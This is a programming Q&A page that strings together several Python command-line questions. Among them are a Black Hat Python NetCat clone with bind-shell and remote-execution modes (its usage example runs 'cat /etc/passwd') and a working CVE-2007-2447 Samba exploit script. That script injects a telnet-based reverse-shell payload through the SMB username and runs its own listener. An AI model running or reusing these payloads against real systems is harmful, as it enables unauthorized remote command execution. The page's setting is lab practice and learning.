Passing multiple arguments from command line in Python [closed] - python

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 3 days ago.
This post was edited and submitted for review 3 days ago and failed to reopen the post:
Original close reason(s) were not resolved
Improve this question
I've been trying to create a python script that has multiple functions. When you run the script from command window, you choose one of the options (-h for help, -e, -a, -v). When you choose options e, a, or v, it goes into an if and runs the functions accordingly to the choice. The problem is, inside the if for -v option I have another function that request input from the command line when you first run the code and I keep getting errors.
I'm open to any suggestions. Thank you!
from time import sleep
import getpass
import sys
import argparse
import getopt
text = 'This code authenticates on the switch, resets it to default settings or creates VLAN and SSh connection. ' \
'For VLAN order of params is: gateway, vlan no, vlan ip, vlan mask, hostname, domain name, username and password:' \
'Please choose your option as below:'
parser = argparse.ArgumentParser(description=text)
parser.add_argument("-e", "--erase", help = 'reset switch to default', action='store_true')
parser.add_argument("-a", "--authenticate", help = 'authenticate onto the switch', action='store_true')
parser.add_argument("-v", "--vlan", help = 'create vlan and SSH connections.', action='store_true')
args = parser.parse_args()
print(args)
if args.erase:
print("Do you wanna delete current config?")
if args.authenticate:
print("Hai sa ne logam pe switch")
def authenticate(ser: serial.Serial, wait_time: float = 1):
user = input("Please enter login username: ")
password = getpass.getpass()
command = "\r"
ser.write(command.encode('utf-8'))
sleep(wait_time)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
command = user
ser.write(command.encode('utf-8'))
sleep(wait_time)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
command = "\r"
ser.write(command.encode('utf-8'))
sleep(wait_time)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
command = password
ser.write(command.encode('utf-8'))
sleep(1)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
command = "\r"
ser.write(command.encode('utf-8'))
sleep(wait_time)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
with serial.Serial("COM4", 9600, timeout=1) as ser:
print(f"Connecting to {ser.name}..")
command = "\n"
ser.write(command.encode('utf-8'))
sleep(1)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
command = "enable\n"
ser.write(command.encode('utf-8'))
sleep(1)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
command = "conf t\n"
ser.write(command.encode('utf-8'))
sleep(1)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
# mng_vlan_mask = print(mask_to_bits(mng_vlan_mask,ser))
authenticate(ser)
command = "exit\n"
ser.write(command.encode('utf-8'))
sleep(1)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
command = "exit\n"
ser.write(command.encode('utf-8'))
sleep(1)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
print(f"Connection to {ser.name} closed")
if args.vlan:
print('Order for arguments is default-gateway, mng VLAN No., mng VLAN IP, mng VLAN mask (/XX), hostname, domain-name, username for SSH, passsword for SSH ')
def authenticate(ser: serial.Serial, wait_time: float = 1):
user = input("Please enter login username: ")
password = getpass.getpass()
command = "\r"
ser.write(command.encode('utf-8'))
sleep(wait_time)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
command = user
ser.write(command.encode('utf-8'))
sleep(wait_time)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
command = "\r"
ser.write(command.encode('utf-8'))
sleep(wait_time)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
command = password
ser.write(command.encode('utf-8'))
sleep(1)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
command = "\r"
ser.write(command.encode('utf-8'))
sleep(wait_time)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
def management_set_up(ser: serial.Serial, wait_time: float = 1):
global opts
def_gateway = None
mng_vlan = None
mng_vlan_ip = None
mng_vlan_mask = None
hostname = None
domain_name = None
username = None
password = None
argv = sys.argv[3:]
try:
opts, args = getopt.getopt(argv, 'g:n:i:m:h:d:u:p:')
except:
print('error')
for opt, arg in opts:
if opt in ['-g']:
def_gateway = arg
elif opt in ['-n']:
mng_vlan = arg
elif opt in ['-i']:
mng_vlan_ip = arg
elif opt in ['-m']:
mng_vlan_mask = arg
elif opt in ['-h']:
hostname = arg
elif opt in ['-d']:
domain_name = arg
elif opt in ['-u']:
username = arg
elif opt in ['-p']:
password = arg
command = "ip default-gateway " + def_gateway + "\n"
ser.write(command.encode('utf-8'))
sleep(wait_time)
nb_bytes_to_read = ser.inWaiting()
print(ser.read(nb_bytes_to_read).decode('utf-8'), end='')
The ideal situation is to write the following in the command line: python script.py -v -g XXXX -n XXXX etc. The problems start in def_management() function. I tried using a separate function for getting the parameters, but then i don't have the help pannel.

Related

How to fix attribute error in Python NetCat clone?

I'm new to Python and the socket library, and the book I'm reading is called Black Hat Python. There's an exercise in the book that requires the reader to essentially glue together (or re-write) pieces of code in order to create a Netcat clone. I believe I have successfully done this, as I can run the command "python3 netcat.py --help" without any issues. However, when I try to run the command "python3 netcat.py -t 192.168.0.58 -p 5555 -c -l", I'm given this: AttributeError: 'NetCat' object has no attribute 'run'
How do I fix this?
Here's the code:
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
output = subprocess.check_output(shlex.split(cmd), stderr=subprocess.STDOUT)
return output.decode()
class NetCat:
def __init__(self, args, buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode
if recv_len < 4096:
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print("User terminated.")
self.socket.close()
sys.exit()
def listen(self):
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(target=self.handle,args=(client_socket,))
client_thread.start()
def handle(self, client_socket):
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
elif self.args.command:
cmd_buffer = ''
while True:
try:
client_socket.send(b'BHP: #> ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'Server killed {e}')
self.socket.close()
sys.exit()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Net Tool', formatter_class=argparse.RawDescriptionHelpFormatter,epilog=textwrap.dedent('''Example:
netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # execute command
echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135
netcat.py -t 192.168.1.108 -p 5555 # connect to server
'''))
parser.add_argument('-c', '--command', action='store_true', help='command shell')
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int, default=5555, help='specified port')
parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode())
nc.run()
This looks like an indentation error. The only method that currently belongs to the class NetCat is __init__. The methods below it, starting with run(self) do not have the same indentation as the __init__ so they don't "belong" to the class NetCat.
Indentation is extremely important in python. It specifies so-called code blocks. If you put the definition for the method run on the same indentation level as the method __init__, then the method run will "belong" to the class NetCat.
On a side note, it is standard to indent with 4 spaces in python. I highly advise you to follow this standard ASAP, as habits are easy to learn but hard to break. I suggest to use a proper code editor like Visual Studio Code or even Notepad++ as they auto-indent when appropriate.
==============================================
EDIT:
I've indented the code in such a way that it should work. Note the difference in indentation for all the methods starting from run. Since they are now in the code block for the class NetCat, they "belong" to this class. I cannot overstate how important indentation is in python. It is one of the core concepts of python, and knowing what it does and how it behaves is absolutely necessary if you want to write any code in python.
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
output = subprocess.check_output(
shlex.split(cmd), stderr=subprocess.STDOUT)
return output.decode()
class NetCat:
def __init__(self, args, buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode
if recv_len < 4096:
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print("User terminated.")
self.socket.close()
sys.exit()
def listen(self):
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(
target=self.handle, args=(client_socket,))
client_thread.start()
def handle(self, client_socket):
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
elif self.args.command:
cmd_buffer = ''
while True:
try:
client_socket.send(b'BHP: #> ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'Server killed {e}')
self.socket.close()
sys.exit()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Net Tool', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''Example:
netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # execute command
echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135
netcat.py -t 192.168.1.108 -p 5555 # connect to server
'''))
parser.add_argument('-c', '--command', action='store_true',
help='command shell')
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int,
default=5555, help='specified port')
parser.add_argument(
'-t', '--target', default='192.168.1.203', help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode())
nc.run()

How to disable touchpad in windows using Python?

I am writing a program that requires me to lock or disable the mouse pointer on my laptop (like they do in most video games).
Is there a way to lock the mouse pointer in one spot?
Right now, I am using windll.user32.BlockInput(True) to lock the mouse which works for the external USB mouse I have, but not for the touchpad.
Also, I am not making a video game, so I don't really need the mouse input data, but I do want to lock the mouse pointer.
#usage:
# python touchpad.py [OPTIONS]
#
# #example
# python touchpad.py -e
#
# #options:
# -e
# Enables the touchpad
#
# -d
# Disables the touchpad
#
# -s
# Display the touchpad device status
#
# -h
# Help
#
import sys
import subprocess
import re
from optparse import OptionParser
statusFlag = {'--enable': 'Enabled', '--disable': 'Disabled'}
def getDeviceName(deviceId):
data = subprocess.check_output(['xinput', '--list', '--name-only', deviceId])
data = data.decode()
return str(data).rstrip('\n')
# Gets the touch device ID
def getDeviceId():
try:
data = subprocess.check_output(['xinput', '--list'])
except Exception:
print("xinput not found!")
sys.exit();
deviceId = 'none'
for line in data.splitlines():
line = line.lower()
if 'touchpad' in line and 'pointer' in line:
line = line.strip()
match = re.search('id=([0-9]+)', line)
deviceId = str(match.group(1))
#print(deviceId)
#print(line)
if deviceId == 'none':
print('Touch Device not found')
sys.exit();
return deviceId
# Enables / Disables the device
def setEnabled(state):
deviceId = getDeviceId()
flag = 'none'
print("Device Name: %s" % getDeviceName(deviceId))
if state == 'true':
flag = '--enable'
elif state == 'false':
flag = '--disable'
if(flag != 'none'):
try:
subprocess.check_call(['xinput', flag, deviceId])
print('Status: %s' % statusFlag[flag])
except Exception:
print('Device cannot be set to %s' %flag)
# Gets the enable device property for the device Id
def getDeviceProp(deviceId):
propData = subprocess.check_output(['xinput', '--list-props', deviceId])
propData = propData.decode()
for line in propData.splitlines():
if 'Device Enabled' in line:
line = line.strip()
return line[-1]
# Finds the touchpad status and displays the result to screen
def deviceStatus():
deviceId = getDeviceId()
print("Device Name: %s" % getDeviceName(deviceId))
status = getDeviceProp(deviceId)
if status == '0':
print("Status: %s" % statusFlag['--disable'])
elif status == '1':
print("Status: %s" % statusFlag['--enable'])
else:
print("Error can not find device status.")
# Main
def main():
parser = OptionParser(usage="usage: %prog [options]", version="%prog 1.0", description="Example: %prog -e")
parser.add_option("-s", "--status", default=False, action="store_true", help="Display the status of the Touchpad")
parser.add_option("-e", "--enable", default=False, action="store_true", help="Enable Touchpad Device")
parser.add_option("-d", "--disable",default=False, action="store_true", help="Disable Touchpad Device")
(options, args) = parser.parse_args()
if options.status == True:
print("Touchpad device status...")
deviceStatus()
elif options.enable == True:
print("Enabling the Touchpad device...")
setEnabled('true')
elif options.disable == True:
print("Disabling the Touchpad device...")
setEnabled('false')
else:
parser.print_help()
if __name__ == '__main__':
main()

Python - Socket Appears to be Failing to Accept Connection

Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.
import sys
import time
import socket
import threading
from smb.SMBConnection import SMBConnection
def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""
print("[+] " + username + password)
s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")
def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()
def commandSender(conn):
shell_status = True
shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()
command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "\n", "utf-8"))
def recvStream(conn, addr, status):
status = True
while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")
if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)
rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]
exploit(rHost, rPort, lHost, lPort)
As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.

Pipe output from shell command to a python script that also uses commandline arguments

I'm trying to pipe information from one command through a python script and change the output dynamically using command line arguments.
ping 127.0.0.1 | FindAndHighlight.py -f "icmp"
I'm able to grab stdin input and search for icmp if I hard code it but I'm unable to figure out how to pass command line arguments to the script and receive piped data at the same time.
The core of my code is as follows. Thanks for any help!
def main(argv):
global debug, searchfor
try:
opts, args = getopt.getopt(argv, "h f:d", ["help", "debug", "find"])
except getopt.GetoptError:
print
print
print hilite("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~", 'hi-red', True)
print hilite("~~~~~~~~~~~~~~~~~~~~~!!!### Bad Switch! ###!!!~~~~~~~~~~~~~~~~~~~~~", 'hi-red', True)
print hilite("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~", 'hi-red', True)
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("-d", "--debug"):
debug = True
elif opt in ("--f", "--find"):
searchfor = arg
source = "".join(args)
if __name__ == "__main__":
main(sys.argv[1:])
print "Search String is: ", searchfor
# searchfor = "icmp" ## If I was to hard code the search string I would un-comment this line
try:
buff = ''
while True:
buff += sys.stdin.read(1)
if buff.endswith('\n'):
if searchfor and searchfor in buff:
buff = buff.replace(searchfor, hilite(searchfor, 'red', False))
print buff[:-1]
buff = ''
except KeyboardInterrupt:
sys.stdout.flush()
pass

Python Pexpect SSH Command Line Login Arguments

I'm using the pexpect.py script to login and get hostname information.
Basically I run it like this
~$:./pexpect.py -h{hostname} -u{user} -p{password}
You will see below that it's automated to run a few commands and close out. I'd like to be able to add line at the end so the user can pick and choose what information they would like to see. So instead of the above command line it would look something like:
~$:./pexpexct.py -h{hostname} -u{username} -p{password} -x{user defined} -z{user defined}
Basically a list with -x being.. say uptime and -z being ifconfig.. there would also be -a, -b , -c. I'm lost as how to add those arguments in the code:
#!/usr/bin/env python
# -h : hostname of the remote server to login to.
# -u : username to user for login.
# -p : Password to user for login.
import os, sys, time, re, getopt, getpass
import traceback
import pexpect
COMMAND_PROMPT = '[#$] '
TERMINAL_PROMPT = '(?i)terminal type\?'
TERMINAL_TYPE = 'vt100'
SSH_NEWKEY = '(?i)are you sure you want to continue connecting'
def exit_with_usage():
print globals()['__doc__']
os._exit(1)
def main():
global COMMAND_PROMPT, TERMINAL_PROMPT, TERMINAL_TYPE, SSH_NEWKEY
## Parse the options, arguments, get ready, etc.
try:
optlist, args = getopt.getopt(sys.argv[1:], 'h:u:p:', ['help','?'])
except Exception, e:
print str(e)
exit_with_usage()
options = dict(optlist)
if len(args) > 1:
exit_with_usage()
if [elem for elem in options if elem in ['-?','--?','--help']]:
print "Help:"
exit_with_usage()
if '-h' in options:
host = options['-h']
else:
host = raw_input('hostname: ')
if '-u' in options:
user = options['-u']
else:
user = raw_input('username: ')
if '-p' in options:
password = options['-p']
else:
password = getpass.getpass('password: ')
## Login via SSH
child = pexpect.spawn('ssh -l %s %s'%(user, host))
i = child.expect([pexpect.TIMEOUT, SSH_NEWKEY, COMMAND_PROMPT, '(?i)password'])
if i == 0:
print 'ERROR! could not login with SSH. Here is what SSH said:'
print child.before, child.after
print str(child)
sys.exit (1)
if i == 1: # In this case SSH does not have the public key cached.
child.sendline ('yes')
child.expect ('(?i)password')
if i == 2:
# This may happen if a public key was setup to automatically login.
# But beware, the COMMAND_PROMPT at this point is very trivial and
# could be fooled by some output in the MOTD or login message.
pass
if i == 3:
child.sendline(password)
# Now we are either at the command prompt or
# the login process is asking for our terminal type.
i = child.expect ([COMMAND_PROMPT, TERMINAL_PROMPT])
if i == 1:
child.sendline (TERMINAL_TYPE)
child.expect (COMMAND_PROMPT)
COMMAND_PROMPT = "\[PEXPECT\]\$ "
child.sendline ("PS1='[PEXPECT]\$ '") # In case of sh-style
i = child.expect ([pexpect.TIMEOUT, COMMAND_PROMPT], timeout=10)
if i == 0:
print "# Couldn't set sh-style prompt -- trying csh-style."
child.sendline ("set prompt='[PEXPECT]\$ '")
i = child.expect ([pexpect.TIMEOUT, COMMAND_PROMPT], timeout=10)
if i == 0:
print "Failed to set command prompt using sh or csh style."
print "Response was:"
print child.before
sys.exit (1)
# Now we should be at the command prompt and ready to run some commands.
# print '---------------------------------------'
# print 'Report of commands run on remote host.'
# print '---------------------------------------'
# Run uname.
child.sendline ('uname -a')
child.expect (COMMAND_PROMPT)
print child.before
if 'linux' in child.before.lower():
LINUX_MODE = 1
else:
LINUX_MODE = 0
# Run and parse 'uptime'.
child.sendline ('uptime')
child.expect('up\s+(.*?),\s+([0-9]+) users?,\s+load averages?: ([0-9]+\.[0-9][0-9]),?\s+([0-9]+\.[0-9][0-9]),?\s+([0-9]+\.[0-9][0-9])')
duration, users, av1, av5, av15 = child.match.groups()
days = '0'
hours = '0'
mins = '0'
if 'day' in duration:
child.match = re.search('([0-9]+)\s+day',duration)
days = str(int(child.match.group(1)))
if ':' in duration:
child.match = re.search('([0-9]+):([0-9]+)',duration)
hours = str(int(child.match.group(1)))
mins = str(int(child.match.group(2)))
if 'min' in duration:
child.match = re.search('([0-9]+)\s+min',duration)
mins = str(int(child.match.group(1)))
print
print 'Uptime: %s days, %s users, %s (1 min), %s (5 min), %s (15 min)' % (
duration, users, av1, av5, av15)
child.expect (COMMAND_PROMPT)
# Run Current Date.
child.sendline ('date')
child.expect (COMMAND_PROMPT)
print child.before
# Run vmstat.
# child.sendline ('vmstat')
# child.expect (COMMAND_PROMPT)
# print child.before
# Run free.
# if LINUX_MODE:
# child.sendline ('free') # Linux systems only.
# child.expect (COMMAND_PROMPT)
# print child.before
# Run df.
# child.sendline ('df')
# child.expect (COMMAND_PROMPT)
# print child.before
# Run lsof.
# child.sendline ('lsof')
# child.expect (COMMAND_PROMPT)
# print child.before
# Run netstat
# child.sendline ('netstat')
# child.expect (COMMAND_PROMPT)
# print child.before
# Run MySQL show status.
# child.sendline ('mysql -p -e "SHOW STATUS;"')
# child.expect (PASSWORD_PROMPT_MYSQL)
# child.sendline (password_mysql)
# child.expect (COMMAND_PROMPT)
# print
# print child.before
# Now exit the remote host.
child.sendline ('exit')
index = child.expect([pexpect.EOF, "(?i)there are stopped jobs"])
if index==1:
child.sendline("exit")
child.expect(EOF)
if __name__ == "__main__":
try:
main()
except Exception, e:
print str(e)
traceback.print_exc()
os._exit(1)
In this line you have the options that be used(bold)
optlist, args = getopt.getopt(sys.argv[1:], 'h:u:p:', ['help','?'])
to add a -x for uptime you could do:
optlist, args = getopt.getopt(sys.argv[1:], 'h:u:p:x', ['help','?'])
and then in the part you do the uptime check just put it under one if like this:
if '-x' in options:
and repeat this for every option and do not forget to add some description on it
FYI, why not use the pxssh.py module from the pexpect project? It handles some of the ssh automation for you.
http://pexpect.sourceforge.net/pxssh.html
How to make a ssh connection with python?

Categories

Resources